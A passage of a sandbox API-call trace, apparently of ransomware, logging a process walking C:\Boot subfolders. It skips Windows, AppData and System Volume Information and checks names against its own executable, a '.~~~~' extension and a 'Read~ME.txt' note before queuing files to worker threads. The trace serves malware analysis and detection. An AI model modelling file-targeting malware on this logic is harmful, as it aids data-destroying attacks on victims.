	[0062.313] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.313] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.313] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.313] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.313] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.313] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.313] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.313] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.313] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.313] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.313] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.313] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.313] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.313] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.314] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.314] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.314] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.314] GetCurrentThreadId () returned 0x618
	[0062.314] GetCurrentThreadId () returned 0x618
	[0062.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.314] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.314] RtlWakeConditionVariable () returned 0x1
	[0062.316] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.316] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.316] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.316] GetCurrentThreadId () returned 0x618
	[0062.316] GetCurrentThreadId () returned 0x618
	[0062.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.316] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.316] RtlWakeConditionVariable () returned 0x1
	[0062.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.318] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.319] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1
	[0062.319] lstrcmpiW (lpString1="pl-PL", lpString2="Windows") returned -1
	[0062.319] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1
	[0062.319] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1
	[0062.319] lstrcmpW (lpString1="pl-PL", lpString2="AppData") returned 1
	[0062.319] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pl-PL", lpSrch="AppData") returned 0x0
	[0062.319] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.319] lstrcmpiW (lpString1="C:\\Boot\\pl-PL", lpString2="C:\\Windows") returned -1
	[0062.319] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.319] lstrcmpiW (lpString1="C:\\Boot\\pl-PL", lpString2="C:\\System Volume Information") returned -1
	[0062.319] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.319] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pl-PL\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.319] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.319] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.319] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.319] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.319] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.319] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.320] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.320] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.320] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.320] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.320] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.320] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.320] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.320] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.320] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.320] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.320] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.320] GetCurrentThreadId () returned 0x618
	[0062.320] GetCurrentThreadId () returned 0x618
	[0062.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.320] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.320] RtlWakeConditionVariable () returned 0x1
	[0062.324] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.324] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.324] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.324] GetCurrentThreadId () returned 0x618
	[0062.324] GetCurrentThreadId () returned 0x618
	[0062.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.324] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.324] RtlWakeConditionVariable () returned 0x1
	[0062.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.327] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.327] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1
	[0062.327] lstrcmpiW (lpString1="pt-BR", lpString2="Windows") returned -1
	[0062.327] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1
	[0062.327] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1
	[0062.327] lstrcmpW (lpString1="pt-BR", lpString2="AppData") returned 1
	[0062.327] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-BR", lpSrch="AppData") returned 0x0
	[0062.327] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.327] lstrcmpiW (lpString1="C:\\Boot\\pt-BR", lpString2="C:\\Windows") returned -1
	[0062.327] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.327] lstrcmpiW (lpString1="C:\\Boot\\pt-BR", lpString2="C:\\System Volume Information") returned -1
	[0062.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.327] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-BR\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.328] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.328] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.328] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.328] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.328] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.328] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.328] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.328] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.328] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.328] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.328] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.328] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.328] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.328] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.328] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.328] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.328] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.328] GetCurrentThreadId () returned 0x618
	[0062.328] GetCurrentThreadId () returned 0x618
	[0062.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8f0
	[0062.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.328] RtlWakeConditionVariable () returned 0x1
	[0062.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.329] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.329] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.329] GetCurrentThreadId () returned 0x618
	[0062.329] GetCurrentThreadId () returned 0x618
	[0062.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0062.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0062.329] RtlWakeConditionVariable () returned 0x1
	[0062.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.333] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.333] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0062.333] lstrcmpiW (lpString1="pt-PT", lpString2="Windows") returned -1
	[0062.333] lstrcmpW (lpString1="pt-PT", lpString2=".") returned 1
	[0062.333] lstrcmpW (lpString1="pt-PT", lpString2="..") returned 1
	[0062.333] lstrcmpW (lpString1="pt-PT", lpString2="AppData") returned 1
	[0062.333] StrStrW (lpFirst="\\\\?\\C:\\Boot\\pt-PT", lpSrch="AppData") returned 0x0
	[0062.333] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.333] lstrcmpiW (lpString1="C:\\Boot\\pt-PT", lpString2="C:\\Windows") returned -1
	[0062.333] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.334] lstrcmpiW (lpString1="C:\\Boot\\pt-PT", lpString2="C:\\System Volume Information") returned -1
	[0062.334] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.334] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\pt-PT\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.334] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.334] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.334] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.334] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.334] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.334] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.334] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.334] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.334] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.334] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.334] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.335] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.335] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.335] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.335] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.335] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.335] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
	[0062.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x39daf8
	[0062.335] GetCurrentThreadId () returned 0x618
	[0062.335] GetCurrentThreadId () returned 0x618
	[0062.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0062.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x50) returned 0x366550
	[0062.335] RtlWakeConditionVariable () returned 0x1
	[0062.337] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39daf8 | out: hHeap=0x300000) returned 1
	[0062.337] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0062.337] FindClose (in: hFindFile=0x37a7c8 | out: hFindFile=0x37a7c8) returned 1
	[0062.337] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0062.337] GetCurrentThreadId () returned 0x618
	[0062.338] GetCurrentThreadId () returned 0x618
	[0062.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c928
	[0062.338] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0062.338] RtlWakeConditionVariable () returned 0x1
	[0062.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0062.340] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38b738 | out: hHeap=0x300000) returned 1
	[0062.340] FindNextFileW (in: hFindFile=0x37a788, lpFindFileData=0x27dfa74 | out: lpFindFileData=0x27dfa74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1
	[0062.340] lstrcmpiW (lpString1="ru-RU", lpString2="Windows") returned -1
	[0062.340] lstrcmpW (lpString1="ru-RU", lpString2=".") returned 1
	[0062.340] lstrcmpW (lpString1="ru-RU", lpString2="..") returned 1
	[0062.340] lstrcmpW (lpString1="ru-RU", lpString2="AppData") returned 1
	[0062.340] StrStrW (lpFirst="\\\\?\\C:\\Boot\\ru-RU", lpSrch="AppData") returned 0x0
	[0062.341] lstrlenW (lpString="C:\\Windows") returned 10
	[0062.341] lstrcmpiW (lpString1="C:\\Boot\\ru-RU", lpString2="C:\\Windows") returned -1
	[0062.341] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0062.341] lstrcmpiW (lpString1="C:\\Boot\\ru-RU", lpString2="C:\\System Volume Information") returned -1
	[0062.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x38b738
	[0062.341] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\ru-RU\\*", lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a7c8
	[0062.341] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0062.341] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0062.341] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0062.341] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0062.341] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0062.341] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.341] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0062.342] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0062.342] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0062.342] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0062.342] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0062.342] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0062.342] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0062.342] lstrcmpiW (lpString1="bootmgr.exe.mui", lpString2="Windows") returned -1
	[0062.342] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="oiikyy.exe") returned -1
	[0062.342] StrStrW (lpFirst="bootmgr.exe.mui", lpSrch=".~~~~") returned 0x0
	[0062.342] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="Read~ME.txt") returned -1
